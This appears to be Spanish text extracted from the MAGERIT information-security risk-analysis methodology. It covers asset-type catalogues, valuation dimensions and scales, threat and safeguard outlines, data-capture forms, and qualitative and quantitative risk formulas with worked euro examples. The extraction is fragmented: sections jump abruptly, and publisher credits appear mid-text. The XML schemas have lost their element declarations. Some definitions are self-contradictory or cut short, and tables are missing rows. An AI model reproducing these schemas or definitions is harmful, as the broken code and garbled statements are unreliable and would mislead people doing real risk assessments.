(1) Establece una frontera entre la prestación de un servicio (proveedor) y el usuario (consumi
dor). Los requisitos de seguridad del usuario se convierten en obligaciones del prestatario,
mientras que los incidentes de seguridad en el proveedor repercuten en el usuario.
(2) Establece una frontera inter-pares: cuando dos sistemas se interconectan para intercambiar
información.
(3) Establece una frontera inferior, cuando para la prestación de nuestros servicios recurrimos a
un tercero.
(1) Los datos de configuración son críticos para mantener la funcionalidad de las partes y del
conjunto del sistema de información.
(2) Los registros de actividad sustancian los requisitos de trazabilidad.
[S] Servicios
[anon] anónimo (sin requerir identificación del usuario)
[pub] al público en general (sin relación contractual)
[ext] a usuarios externos (bajo una relación contractual)
[int] interno (a usuarios de la propia organización)
[S] Servicios
[www] world wide web
[telnet] acceso remoto a cuenta local
[email] correo electrónico
[file] almacenamiento de ficheros
[ftp] transferencia de ficheros
[edi] intercambio electrónico de datos
[dir] servicio de directorio (1)
[idm] gestión de identidades (2)
[ipm] gestión de privilegios
[pki] PKI - infraestructura de clave pública (3)
(1) Localización de personas (páginas blancas), empresas o servicios (páginas amarillas); per
mitiendo la identificación y facilitando los atributos que caracterizan al elemento determina
do.
(2) Servicios que permiten altas y bajas de usuarios de los sistemas, incluyendo su caracteriza
ción y activando los servicios de aprovisionamiento asociados a sus cambios de estado
respecto de la organización.
(3) Servicios asociados a sistemas de criptografía de clave pública, incluyendo especialmente
la gestión de certificados.
(1) Se caracterizan por haber pocos, frecuentemente uno sólo, ser económicamente gravosos y
requerir un entorno específico para su operación. Son difícilmente reemplazables en caso
de destrucción.
(2) Se caracterizan por haber varios, tener un coste económico medio tanto de adquisición co
mo de mantenimiento e imponer requerimientos estándar como entorno de operación. No
es difícil reemplazarlos en caso de destrucción.
(3) Se caracterizan por ser multitud, tener un coste económico relativamente pequeño e impo
ner solamente unos requerimientos mínimos como entorno de operación. Son fácilmente
reemplazables en caso de destrucción.
(4) Se caracterizan por ser equipos afectos a la clasificación como informática personal que,
además, son fácilmente transportables de un sitio a otro, pudiendo estar tanto dentro del re
cinto propio de la organización como en cualquier otro lugar.
(5) Son aquellos equipos preparados para hacerse cargo inmediato de los equipos en produc
ción.
(6) Dícese de impresoras y servidores de impresión.
(7) Son los equipos que se instalan entre dos zonas de confianza.
(8) Dícese de equipamiento necesario para transmitir datos: routers, módems, etc.
[non_electronic] no electrónicos
[printed] material impreso
[tape] cinta de papel
[film] microfilm
[cards] tarjetas perforadas
[L] Instalaciones
[site] recinto
[building] edificio
[local] cuarto
[mobile] plataformas móviles
[car] vehículo terrestre: coche, camión, etc.
[plane] vehículo aéreo: avión, etc.
[ship] vehículo marítimo: buque, lancha, etc.
[shelter] contenedores
[channel] canalización
[backup] instalaciones de respaldo
[P] Personal
[ue] usuarios externos
[ui] usuarios internos
[op] operadores
[adm] administradores de sistemas
[com] administradores de comunicaciones
[dba] administradores de BBDD
[sec] administradores de seguridad
[des] desarrolladores / programadores
[sub] subcontratas
[prov] proveedores
2.13. XML
Los tipos de activos cabe esperar que evolucionen en el tiempo para adaptarse a la evolución tec
nológica. Por ello se incluye a continuación una gramática de tipo XML que permita publicar perió
dicamente actualizaciones de los tipos antes descritos.
<magerit-extension>
{ tipos }*
</magerit-extension>
tipos ::=
<classes under >
{ tipo }*
</classes>
tipo ::=
<class code>
#name#
[ descripción ]
{ tipo }*
</tipo>
descripción ::=
<description>
#texto#
</description>
<xsd:element name="magerit-extension">
<xsd:complexType>
<xsd:sequence>
minOccurs="0" maxOccurs="unbounded"/>
</xsd:sequence>
</xsd:complexType>
</xsd:element>
<xsd:sequence>
minOccurs="0" maxOccurs="unbounded"/>
</xsd:sequence>
<xsd:attribute name="under" type="xsd:string" use="required"/>
</xsd:complexType>
<xsd:sequence>
minOccurs="0"/>
minOccurs="0" maxOccurs="unbounded"/>
</xsd:sequence>
<xsd:attribute name="code" type="xsd:string" use="required"/>
</xsd:complexType>
</xsd:schema>
3. Dimensiones de valoración
Son las características o atributos que hacen valioso un activo. Una dimensión es una faceta o
aspecto de un activo, independiente de otras facetas. Pueden hacerse análisis de riesgos centra
dos en una única faceta, independientemente de lo que ocurra con otros aspectos2.
Las dimensiones se utilizan para valorar las consecuencias de la materialización de una amenaza.
La valoración que recibe un activo en una cierta dimensión es la medida del perjuicio para la or
ganización si el activo se ve dañado en dicha dimensión.
¿Qué importancia tendría que los datos fueran modificados fuera de control?
Los datos reciben una alta valoración desde el punto de vista de integridad cuando su alteración,
voluntaria o intencionada, causaría graves daños a la organización.
Y, recíprocamente, los datos carecen de un valor apreciable desde el punto de vista de integridad
cuando su alteración no supone preocupación alguna.
¿Qué importancia tendría que el dato fuera conocido por personas no autorizadas?
2 Como es el caso típico conocido como análisis de impacto (BIA) que busca determinar el coste de las
paradas de los sistemas y desarrollar planes de contingencia para poner coto al tiempo de parada de la
organización. En este caso se hace un análisis sectario de la disponibilidad.
¿Qué importancia tendría que quien accede al servicio no sea realmente quien se cree?
La autenticidad de los usuarios de un servicio es lo contrario de la oportunidad de fraude o uso no
autorizado de un servicio.
Así, un servicio recibe una elevada valoración desde el punto de vista de autenticidad cuando su
prestación a falsos usuarios supondría un grave perjuicio para la organización.
Y, recíprocamente, un servicio carece de un valor apreciable desde el punto de vista de autentici
dad cuando su acceso por cualquiera no supone preocupación alguna.
¿Qué importancia tendría que los datos no fueran realmente imputables a quien se cree?
Los datos reciben una elevada valoración desde el punto de vista de autenticidad del origen cuan
do un defecto de imputación causaría graves quebrantos a la organización. Típicamente, se habili
ta la oportunidad de repudio.
Y, recíprocamente, los datos carecen de un valor apreciable desde el punto de vista de autentici
dad del origen cuando ignorar la fuente es irrelevante.
¿Qué importancia tendría que no quedara constancia fehaciente del uso del servicio?
Abriría las puertas al fraude, incapacitaría a la Organización para perseguir delitos y podría supo
ner el incumplimiento de obligaciones legales.
¿Qué importancia tendría que no quedara constancia del acceso a los datos?
Abriría las puertas al fraude, incapacitaría a la Organización para perseguir delitos y podría supo
ner el incumplimiento de obligaciones legales.
3.6. XML
Las dimensiones de valoración cabe esperar que evolucionen en el tiempo para adaptarse a la
evolución tecnológica. Por ello se incluye a continuación una gramática de tipo XML que permita
publicar periódicamente actualizaciones de las dimensiones antes descritas.
<magerit-extension>
{ dimensiones }*
</magerit-extension>
dimensiones ::=
<dimensions>
{ dimensión }*
</dimensions>
dimensión ::=
<dimension code >
#nombre#
[ descripción ]
</dimension>
descripción ::=
<description>
#texto#
</description>
<xsd:documentation>date: 19.11.2011</xsd:documentation>
</xsd:annotation>
<xsd:element name="magerit-extension">
<xsd:complexType>
<xsd:sequence>
minOccurs="0" maxOccurs="unbounded"/>
</xsd:sequence>
</xsd:complexType>
</xsd:element>
minOccurs="0" maxOccurs="unbounded"/>
</xsd:sequence>
</xsd:complexType>
<xsd:sequence>
minOccurs="0"/>
</xsd:sequence>
</xsd:complexType>
</xsd:schema>
3.7. Referencias
• ISO 7498-2:1989, “Information processing systems -- Open Systems Interconnection -- Basic
Reference Model -- Part 2: Security Architecture”, 1989.
4. Criterios de valoración
Para valorar los activos vale, teóricamente, cualquier escala de valores. A efectos prácticos es sin
embargo muy importante que
• se use una escala común para todas las dimensiones, permitiendo comparar riesgos,
• se use una escala logarítmica, centrada en diferencias relativas de valor, que no en diferen
cias absolutas3 y
• se use un criterio homogéneo que permita comparar análisis realizados por separado
Si la valoración es económica, hay poco más que hablar: dinero. Pero frecuentemente la valora
ción es cualitativa, quedando a discreción del usuario; es decir, respondiendo a criterios subjeti
vos.
Se ha elegido una escala detallada de diez valores, dejando en valor 0 como determinante de lo
que sería un valor despreciable (a efectos de riesgo). Si se realiza un análisis de riesgos de poco
detalle, se puede optar por la tabla simplificada de menos niveles. Ambas escalas, detallada y
simplificada se correlacionan como se indica a continuación:
valor criterio
10 extremo daño extremadamente grave
9 muy alto daño muy grave
6-8 alto daño grave
3-5 medio daño importante
1-2 bajo daño menor
0 despreciable irrelevante a efectos prácticos
Las tablas siguientes pretenden guiar con más detalle a los usuarios valorando de forma homogé
nea activos cuyo valor es importante por diferentes motivos.
3 Así siempre es igual de relevante que un activo sea el doble de valioso que otro, independientemente de
su valor absoluto. Por el contrario, sería extraño opinar que un activo vale dos más que otro sin explicitar
su valor absoluto pues no es igual de relevante pasar de 0,1 a 2,1, que pasar de 1.000.000 a 1.000.002.
[si] Seguridad
10 10.si probablemente sea causa de un incidente excepcionalmente serio de seguridad o
dificulte la investigación de incidentes excepcionalmente serios
9 9.si probablemente sea causa de un serio incidente de seguridad o dificulte la investi
gación de incidentes serios
7 7.si probablemente sea causa de un grave incidente de seguridad o dificulte la investi
gación de incidentes graves
3 3.si probablemente sea causa de una merma en la seguridad o dificulte la investiga
ción de un incidente
1 1.si pudiera causar una merma en la seguridad o dificultar la investigación de un inci
dente
[olm] Operaciones
10 10.olm Probablemente cause un daño excepcionalmente serio a la eficacia o seguridad de
la misión operativa o logística
9 9.olm Probablemente cause un daño serio a la eficacia o seguridad de la misión operati
va o logística
7 7.olm Probablemente perjudique la eficacia o seguridad de la misión operativa o logística
5 5.olm Probablemente merme la eficacia o seguridad de la misión operativa o logística
más allá del ámbito local
4.2. XML
Los tipos de activos cabe esperar que evolucionen en el tiempo para adaptarse a la evolución tec
nológica. Por ello se incluye a continuación una gramática de tipo XML que permita publicar perió
dicamente actualizaciones de los tipos antes descritos.
criterio ::=
<criterion code [ value ] >
#texto#
{ criterio }*
</criterion>
<xsd:documentation>date: 19.11.2011</xsd:documentation>
</xsd:annotation>
<xsd:element name="criteria">
<xsd:complexType>
<xsd:sequence>
minOccurs="0" maxOccurs="unbounded"/>
</xsd:sequence>
</xsd:complexType>
</xsd:element>
<xsd:sequence>
minOccurs="0" maxOccurs="unbounded"/>
</xsd:sequence>
</xsd:complexType>
</xsd:schema>
4.3. Referencias
• CCN-STIC-803 – Esquema Nacional de Seguridad – Criterios de Valoración.
• SP 800-60, “Guide for Mapping Types of Information and Information Systems to Security
Categories”, NIST, June 2004.
http://csrc.nist.gov/publications/nistpubs/index.html
• HMG, “Residual Risk Assessment Method”, INFOSEC Standard No. 1. 2003.
• C. Alberts and A. Dorofee, “Managing information Security Risks. The OCTAVE Approach”,
Addison Wesley, 2003.
http://www.cert.org/octave/
5. Amenazas
Se presenta a continuación un catálogo de amenazas posibles sobre los activos de un sistema de
información. Para cada amenaza se presenta un cuadro como el siguiente:
[código] descripción sucinta de lo que puede pasar
Tipos de activos: Dimensiones:
• que se pueden ver afectados por este ti 1. de seguridad que se pueden ver afecta
po de amenazas das por este tipo de amenaza,
ordenadas de más a menos relevante
Descripción:
complementaria o más detallada de la amenaza: lo que le puede ocurrir a activos del tipo indi
cado con las consecuencias indicadas
Ver:
EBIOS: no disponible
<magerit-extension>
{ amenazas }*
</magerit-extension>
amenazas ::=
<threats under >
{ amenaza }*
</ threats>
amenaza ::=
<threat code [ tho ] [ thc ]>
#name#
[ descripción ]
{ amenaza }*
</threat>
descripción ::=
<description>
#texto#
</description>
minOccurs="0" maxOccurs="unbounded"/>
</xsd:sequence>
</xsd:complexType>
</xsd:element>
<xsd:sequence>
minOccurs="0" maxOccurs="unbounded"/>
</xsd:sequence>
</xsd:complexType>
<xsd:sequence>
minOccurs="0"/>
minOccurs="0" maxOccurs="unbounded"/>
</xsd:sequence>
</xsd:complexType>
<xsd:simpleType name="threatOrigin">
<xsd:restriction base="xsd:string">
<xsd:enumeration value="N"/>
<xsd:enumeration value="E"/>
<xsd:enumeration value="H"/>
</xsd:restriction>
</xsd:simpleType>
<xsd:simpleType name="threatCause">
<xsd:restriction base="xsd:string">
<xsd:enumeration value="A"/>
<xsd:enumeration value="D"/>
</xsd:restriction>
</xsd:simpleType>
</xsd:schema>
<threat_announcement>
{ nivel_de_amenaza }*
</ threat_announcement >
nivel_de_amenaza ::=
<tip class threat level >
[ descripción ]
</tip>
descripción ::=
<description>
#texto#
</description>
<xsd:element name="threat-announcement">
<xsd:complexType>
<xsd:sequence>
minOccurs="0" maxOccurs="unbounded"/>
</xsd:sequence>
</xsd:complexType>
</xsd:element>
<xsd:sequence>
minOccurs="0"/>
</xsd:sequence>
<xsd:attribute name="asset" type="xsd:string" use="required"/>
<xsd:attribute name="threat" type="xsd:string" use="required"/>
<xsd:attribute name="level" type="levelType" use="required"/>
</xsd:complexType>
<xsd:simpleType name="levelType">
<xsd:restriction base="xsd:string">
<xsd:enumeration value="VR"/>
<xsd:enumeration value="U"/>
<xsd:enumeration value="P"/>
<xsd:enumeration value="VH"/>
<xsd:enumeration value="AC"/>
</xsd:restriction>
</xsd:simpleType>
</xsd:schema>
5.8. Referencias
Existen numerosas fuentes que catalogan amenazas dentro del ámbito de las tecnologías de la
información y las comunicaciones.
• ISO/IEC 27005
• EBIOS
http://www.bsi.de/gshb/english/etc/index.htm
• Managing Information Security Risks: The OCTAVE Approach, C.J. Alberts and A.J. Doro
fee, Addison-Wesley Pub Co; 1st edition (July 9, 2002)
http://www.cert.org/octave/
6. Salvaguardas
Las salvaguardas permiten hacer frente a las amenazas.
6.15. Externalización
Es cada vez más flexible la frontera entre los servicios de seguridad prestados internamente y los
servicios contratados a terceras partes. En estos casos es fundamental cerrar los aspectos de re
lación contractual:
• SLA: nivel de servicio, si la disponibilidad es un valor
• NDA: compromiso de secreto, si la confidencialidad es un valor
• Identificación y calificación del personal encargado
• Procedimientos de escalado y resolución de incidencias
• Procedimiento de terminación (duración en el tiempo de las responsabilidades asumidas)
• Asunción de responsabilidades y penalizaciones por incumplimiento
E Relaciones Externas
E.1 Acuerdos para intercambio de información y software
E.2 Acceso externo
E.3 Servicios proporcionados por otras organizaciones
E.4 Personal subcontratado
6.17. Referencias
BSI
Federal Office for Information Security (BSI). “IT Baseline Protection Manual”, October 2003.
Germany.
http://www.bsi.de/gshb/english/etc/index.htm
CC
Comon Criteria. Ver [ISO 15408].
Guías CCN-STIC
https://www.ccn-cert.cni.es/
ISO JTC 71/SC 27
Numerosas guías producidas por ISO concretan medidas de seguridad. Consulte el catálogo
del comité 71 "TECNOLOGÍA DE LA INFORMACIÓN", subcomité SC 27 "TÉCNICAS DE SE
GURIDAD".
ISO 15408
ISO/IEC 15408:2009, “Information technology — Security techniques — Evaluation criteria for
IT security”.
ISO 27002
ISO/IEC 27002:2005, “Information technology — Security techniques — Code of practice for in
formation security management”.
UNE-ISO/IEC 27002:2009, “Tecnología de la Información. Código de Buenas Prácticas de la
Gestión de la Seguridad de la Información”.
NIST 800-53
NIST, “Recommended Security Controls for Federal Information Systems”, National Institute of
Standards and Technology, special publication SP 800-53 Rev.3, Aug. 2009.
RD 3/2010
Real Decreto 3/2010, de 8 de enero, por el que se regula el Esquema Nacional de Seguridad
en el ámbito de la Administración Electrónica.
RD 1720/2007
Real Decreto 1720/2007, de 21 de diciembre, por el que se aprueba el Reglamento de desarro
llo de la Ley Orgánica 15/1999, de 13 de diciembre, de protección de datos de carácter perso
nal.
4 BNF: Backus-Naur Form. Es una forma de representar la gramática de un lenguaje. Una gramática BNF
consiste en una serie de reglas de producción, donde el lado izquierdo se materializa en lo que se indica
en el lado derecho. El lado derecho puede explicitar términos finales, o bien ser a su vez desarrollado
mediante nuevas reglas de producción.
Apéndice 2. Fichas
Las siguientes secciones proporciona fichas para la captura de datos en un proyecto de análisis y
gestión de riesgos.
Reproduzca las fichas siguientes, una por activo, del tipo que corresponda.
propietario:
responsable:
Valoración
dimensión valor justificación
[I]
[C]
[A]
[T]
Las dependencias normalmente identifican servicios y personas que manejan esta información:
activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
responsable:
Valoración de los servicios que ofrece la Organización a otros, típicamente en las siguientes di
mensiones:
[D] disponibilidad
[A] autenticidad de quién accede al servicio
[T] trazabilidad de quién accede al servicio, cuándo y que hace
Valoración
dimensión valor justificación
[D]
[A]
[T]
Las dependencias normalmente identifican equipamiento desplegado para prestar este servicio:
aplicaciones (sw),
equipos (hw),
equipos de comunicaciones,
soportes de información (media), etc.
personas a cargo del servicio.
activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
responsable:
tipo (marque todos los adjetivos que procedan)
Ver Sección 2.3.
activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
responsable:
tipo (marque todos los adjetivos que procedan)
Ver Sección 2.4.
activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
[S] Servicios
responsable:
tipo (marque todos los adjetivos que procedan)
Ver Sección 2.5.
activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
responsable:
tipo (marque todos los adjetivos que procedan)
Ver Sección 2.6.
activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
responsable:
ubicación:
número:
tipo (marque todos los adjetivos que procedan)
Ver Sección 2.7.
activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
responsable:
ubicación:
número:
tipo (marque todos los adjetivos que procedan)
Ver Sección 2.8.
activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
responsable:
ubicación:
número:
tipo (marque todos los adjetivos que procedan)
activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
responsable:
ubicación:
número:
tipo (marque todos los adjetivos que procedan)
Ver Sección 2.10.
activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
responsable:
ubicación:
número:
tipo (marque todos los adjetivos que procedan)
Ver Sección 2.11.
activo: grado:
¿por qué?:
activo: grado:
¿por qué?:
[P] Personal
número:
tipo (marque todos los adjetivos que procedan)
Ver Sección 2.12.
<modelo>
{ dato }*
{ activo }*
{ dependencia }*
{ valoración }*
</modelo>
dato ::=
activo ::=
<activo código>
#nombre#
{ tipo }+
{ dato }*
</activo>
tipo ::=
dependencia ::=
valoración ::=
Apéndice 4. Informes
A lo largo del proyecto de análisis y gestión de riesgos se han identificado una serie de informes
para los cuales se propone un índice a continuación. Frecuentemente, se puede extraer de estos
informes un informe ejecutivo que excluye los detalles.
3. Impacto repercutido
4. Riesgo repercutido
• objetivo genérico
• prioridad o urgencia
• ubicación temporal: ¿cuándo se llevará a cabo?
• salvaguardas involucradas
• unidad responsable de su ejecución
• estimación de costes financieros
• estimación de recursos
• estimación de impacto para la organización
Cuando llega el momento para ser acometido, cada programa de seguridad debe detallar:
• Su objetivo genérico.
• Las salvaguardas concretas a implantar o mejorar, detallando sus objetivos de calidad, efi
cacia y eficiencia
• La relación de escenarios de impacto y/o riesgo que afronta: activos afectados, tipos de acti
vos, amenazas afrontadas, valoración de activos y amenazas y niveles de impacto y riesgo
• La unidad responsable de su ejecución.
• costes de formación, tanto de los operadores como de los usuarios, según convenga al
caso
• costes de explotación
• impacto en la productividad de la Organización
• Una relación de subtareas a afrontar, teniendo en cuenta
• cambios en la normativa y desarrollo de procedimientos
• solución técnica: programas, equipos, comunicaciones y locales,
• plan de despliegue
• plan de formación
Edita:
© Ministerio de Hacienda y Administraciones Públicas
Secretaría General Técnica
Subdirección General de Información,
Documentación y Publicaciones
Centro de Publicaciones
1. Introducción
Este documento la guía metodológica Magerit. Se presume el conocimiento y comprensión de los
conceptos de análisis y gestión de riesgos, según se exponen en la guía metodológica.
El objetivo de este documento es describir algunas técnicas utilizadas en análisis y gestión de
riesgos. Se considera técnica a un conjunto de heurísticos y procedimientos que ayudan a alcan-
zar los objetivos propuestos.
Para cada una de las técnicas referenciadas:
• se explica brevemente el objetivo que se persigue al utilizarlas,
• se describen los elementos básicos asociados,
• se exponen los principios fundamentales de elaboración,
• se presenta una notación textual y/o gráfica y
• y se citan las fuentes bibliográficas que, sin ser exhaustivas, se han estimado de interés pa-
ra que el lector profundice en cada materia.
Todas las técnicas de este libro pueden utilizarse sin ayudas automatizadas; pero su aplicación
repetitiva o compleja recomienda el empleo de herramientas tan amplia y frecuentemente como
sea posible.
Es importante resaltar que la notación que se propone en la aplicación de la técnica en ningún ca-
so se considerará obligatoria. Cada organización podrá utilizar la notación que desee, la que suele
utilizar o la que ofrecen sus herramientas de desarrollo, respetando las reglas y restricciones es-
pecíficas de las distintas técnicas.
2. Técnicas específicas
En este capítulo nos centraremos en algunas técnicas muy específicas de los proyectos de análi-
sis y gestión de riesgos, técnicas que no se utilizan en otros contextos de trabajo.
Se han considerado de especial interés:
1. uso de tablas para la obtención sencilla de resultados
2. técnicas algorítmicas para la obtención de resultados elaborados
3. árboles de ataque para complementar los razonamientos de qué amenazas se ciernen sobre
un sistema de información
que se desarrollan en las siguientes secciones.
degradación
impacto
1% 10% 100%
MA M A MA
A B M A
valor M MB B M
B MB MB B
MB MB MB MB
Aquellos activos que reciban una calificación de impacto muy alto (MA) deberían ser objeto de
atención inmediata.
probabilidad
riesgo
MB B M A MA
MA A MA MA MA MA
A M A A MA MA
impacto M B M M A A
B MB B B M M
MB MB MB MB B B
2.1.1. Referencias
• ISO/IEC 27005:2011, Information technology — Security techniques — Information security
risk management.
• ISO 31010
ISO/IEC 31010:2009, Risk management — Risk assessment techniques.
UNE-ISO/IEC 31010:2010, Gestión del riesgo. Técnicas de apreciación del riesgo.
B.29 Matriz de consecuencia / probabilidad
Valores.
En un análisis de riesgos es necesario poder valorar, al menos relativamente, los elementos invo-
lucrados. En particular, los activos, el impacto de las amenazas y el riesgo que se corre.
Para todo ello se usará una escala de niveles simbólicos:
V = { 0, ..., v 0 , v 1 , ..., v i , ... }
El valor 0 representa que no vale absolutamente nada.
Esta serie de niveles satisface las siguientes propiedades:
• elemento mínimo: ∀ i, 0 < v i
• orden total: ∀ i, v i < v i+1
• existe un elemento singular, “v 0 ”, que se denomina “despreciable” 1 .
Informalmente, se dice que un activo tiene “i puntos” para indicar que su valoración es “v i “ 2 .
1 Este nivel despreciable establece una frontera, subjetiva, entre lo que es apreciable y debe preocupar, y
lo que es despreciable y se puede obviar. Se despreciarán los valores por debajo de v 0 .
2 Si el lector lo desea, en este sistema de valoración, puede interpretar los puntos como órdenes de mag-
nitud; por ejemplo, interpretando v x como 10x.
(A → B 1 ) ∧ (A → B 2 ) ∧ (B 1 → C) ∧ (B 2 → C)
A depende de B1 y B2; B1 y B2 dependen de C.
B1 B2
Interesa pues del cierre transitivo de las dependencias directas entre activos.
A ⇒ C ⇔ ∃ B, ( A ⇒ B ) ∧ ( B → C )
A depende (indirectamente) de C sí y sólo si
existe algún activo B tal que A depende directa o indirectamente de B y
B depende directamente de C.
En lo que sigue no se distingue entre dependencias directas o indirectas.
El valor acumulado.
Sea SUP(B) el conjunto superiores de B, es decir el conjunto de activos que dependen directa o
indirectamente de B:
SUP(B) = { A i , A i ⇒ B }
Se define el valor acumulado sobre B como el mayor valor entre el propio y el de cualquiera de
sus superiores:
valor_acumulado(B) = max (valor(B), max i {valor(A i )})
La fórmula anterior dice que el valor acumulado sobre un activo es el mayor de los valores que
soporta, bien propio, bien de alguno de sus superiores.
Riesgo.
El riesgo se mide por medio de la escala de valores, que es distinta de la escala de valores.
R = { 0, ..., r 0 , r 1 , ..., r i , … }
El valor 0 refleja el riesgo inexistente.
El riesgo es una función del impacto y la probabilidad:
• ℜ(0, p) = 0
• ℜ(v, 0) = 0
• crece con el valor: ∀ f, v i < v j ⇒ ℜ(v i , p) < ℜ(v j , p)
Riesgo acumulado.
En el cálculo del riesgo acumulado, se usará el impacto acumulado sobre el activo.
Riesgo repercutido.
En el cálculo del riesgo repercutido, se usará el impacto repercutido sobre el activo.
Paquete de salvaguardas.
Frente a una amenaza se desplegará una serie de salvaguardas, un paquete de salvaguardas,
cuya eficacia, “e”, se calcula según se indica más adelante. Baste adelantar que la eficacia es un
valor real entre 0,0 (no protege nada) y 1,0 (salvaguarda plenamente eficaz), valor que se puede
descomponer en una eficacia frente al impacto, “ei”, y una eficacia frente a la probabilidad “ep”.
Degradación residual.
Si el activo, sin protección, podía sufrir una degradación “d”, gracias a las salvaguardas la degra-
dación se ve reducida a un valor residual “dr”:
dr(0, ei) = 0
dr(d, 0) = d
dr(d, 1) = 0
El impacto residual.
El impacto residual se calcula como el impacto, pero utilizando la degradación residual:
impacto_residual = impacto(v, dr)
Un paquete de salvaguardas perfectamente eficaz reduce el impacto a un valor residual “v 0 ”, es
decir, al nivel de despreciable. Si las salvaguardas son insuficientes, el impacto seguirá siendo
apreciable.
El impacto acumulado residual se calcula sobre el valor acumulado.
El impacto residual repercutido se calcula sobre el valor propio.
La probabilidad residual.
De forma similar al impacto, la probabilidad de la amenaza sobre el activo se ve reducida a un va-
lor residual. Si la probabilidad era “p”, ahora queda:
pr(0, ep) = 0
pr(p, 0) = p
pr(p, 1) = 0
p
Siendo “e ” la eficacia de las salvaguardas mitigando la probabilidad de ocurrencia de la amenaza.
“ef” es un valor entre 0,0 (0% de eficacia; o sea, inútil) y 1,0 (100% de eficacia; o sea, perfecta).
Riesgo residual.
Es el riesgo calculado a partir del impacto y frecuencia residuales:
Resumen
En este modelo, denominado cualitativo, se han posicionado los activos en una escala de valor
relativo, definiendo arbitrariamente un valor “v 0 ” como frontera entre los valores que preocupan y
los que son despreciables.
Sobre esta escala de valor se ha medido tanto el valor del activo, propio o acumulado, como el
impacto de una amenaza cuando ocurra y el riesgo al que está expuesto.
Mientras el impacto mide el valor de la desgracia potencial, el riesgo pondera ese impacto con la
frecuencia estimada de ocurrencia de la amenaza. El impacto es la medida del coste si ocurriera
mientras que el riesgo mide la exposición en un determinado periodo de tiempo.
A ⇒ C ⇔ ∃ B, ( A ⇒ B ) ∧ ( B → C )
A depende (indirectamente) de C sí y sólo si existe algún activo B tal que A depende
directa o indirectamente de B y B depende directamente de C.
Calculando el grado de dependencia como:
3 Esta manera de sumar satisface las propiedades conmutativa, asociativa y existencia de un elemento
neutro, amén de acotar el resultado al rango [0..1] si los sumandos están dentro de dicho rango.
La elección de esta curiosa fórmula, tomada del cálculo de probabilidades de Bayes, deriva de la necesi-
dad de reflejar el hecho de que si un activo depende de otro por varias vías (estructuras de diamante), la
dependencia total no puede superar el 100%.
Ejemplos.
El valor acumulado.
Sea SUP(B) el conjunto de superiores de B, es decir el conjunto de activos que dependen directa
o indirectamente de B:
SUP(B) = { A i , A i ⇒ B }
Se define el valor acumulado sobre B como la suma (tradicional) de valores de los activos superio-
res, ponderados por el grado de dependencia:
Ejemplo.
Si un activo está valorado en 1.000.000 y sufre una degradación del 90%, el impacto acumu-
lado es de cuantía 900.000.
Ejemplo.
Sea un activo A valorado en 1.000.000, que depende de otro activo B (cuyo valor no interesa
aquí) en un 30%. Si B es víctima de una amenaza que lo degrada un 90%, A sufre un impac-
to repercutido de cuantía
1.000.000 x 90% x 30% = 270.000
Riesgo.
El riesgo se mide en las misma unidades que el valor.
El riesgo se calcula como
riesgo = impacto × frecuencia
Es un valor real, mayor que cero.
Ejemplo.
Sea un activo valorado en 1.000.000, que es víctima de una amenaza que lo degrada un
90%. El impacto es de cuantía
1.000.000 x 90% = 900.000
Si el activo está expuesto a la amenaza con una frecuencia estimada de 0,1, el riesgo esti-
mado es de cuantía
900.000 x 0,1 = 90.000
Si los valores son euros y la frecuencia mide tasa anual (o sea, si 0,1 significa una vez cada
10 años), entonces la pérdida posible de valor es de 900.000 euros, mientras que la pérdida
anual prevista es de 90.000 euros.
Riesgo acumulado.
En el cálculo del riesgo acumulado, se usará el impacto acumulado sobre el activo; es decir, la
pérdida de valor acumulado por amenazas sobre el mismo.
Riesgo repercutido.
En el cálculo del riesgo repercutido, se usará el impacto repercutido sobre el activo; es decir, la
pérdida de valor propio por amenazas en activos inferiores.
Paquete de salvaguardas.
Frente a una amenaza se despliega una serie de salvaguardas, un paquete de salvaguardas, cuya
eficacia, “e”, se calcula según se indica más adelante. Baste adelantar que la eficacia es un valor
real entre 0,0 (no protege) y 1,0 (salvaguarda plenamente eficaz), valor que se puede descomponer
en una eficacia frente al impacto, “ei”, y una eficacia frente a la frecuencia “ef”, de forma que
(1 − ei) × (1 − ef) = 1 − e 4
4 La fórmula elegida disfruta de las siguientes propiedades. Si ei= 0% y ef= 0%, e= 0%. Si ei= 0%, e= ef. Si
ef= 0%, e= ei. Si ei o ef= 100%, e= 100%. El resultado es pues creciente con los componentes ei y ef, es-
tando al tiempo acotado al rango [0%..100%].
El impacto residual.
Un sistema de salvaguardas absolutamente ineficaz (ei = 0 ) deja el impacto donde estaba, mien-
tras que un sistema de salvaguardas plenamente eficaz (ei = 1) reduce el impacto a 0.
Ejemplo
Sea un activo valorado en 1.000.000, que es víctima de una amenaza que lo degrada un
90%. El impacto es de cuantía
1.000.000 x 90% = 900.000
Si las salvaguardas tienen un 90% de eficacia sobre el impacto, el impacto residual es
impacto residual = 900.000 * (1 – 0.9) = 90.000
El impacto acumulado se realiza con los datos de impacto acumulado sobre un activo y las salva-
guardas adecuadas para las amenazas sobre dicho activo.
El impacto repercutido se realiza con los datos de impacto repercutido sobre el activo superior y
las salvaguardas adecuadas para las amenazas del activo inferior.
La frecuencia residual.
Un sistema de salvaguardas absolutamente ineficaz (ef = 0 ) deja la frecuencia donde estaba,
mientras que un sistema de salvaguardas plenamente eficaz (ef = 1) reduce la frecuencia a 0.
Al igual que para calcular el impacto residual, se suele emplear alguna función de tipo Pareto.
El riesgo residual.
Puede derivarse indirectamente como
riesgo_residual = impacto_residual x frecuencia residual
Ejemplo
Sea un activo valorado en 1.000.000, que es víctima de una amenaza que lo degrada un
90%. El impacto es de cuantía
impacto = 1.000.000 x 90% = 900.000
Si la frecuencia anual estimada es de 0,1, el riesgo es de cuantía
riesgo = 900.000 x 0,1 = 90.000 = pérdida anual estimada
Si las salvaguardas tienen un 90% de eficacia sobre el impacto, el impacto residual es
impacto residual = 900.000 x (1 – 90%) = 90.000
Si las salvaguardas tienen un 50% de eficacia sobre la frecuencia, la eficacia combinada de
las salvaguardas es
frecuencia residual = 0,1 x (1 – 50%) = 0,05
y el riesgo residual es
riesgo residual = 90.000 * 0,05 = 4.500 (pérdida anual estimada)
Si las cantidades son euros y las frecuencias anuales, la pérdida posible es de 90.000 euros
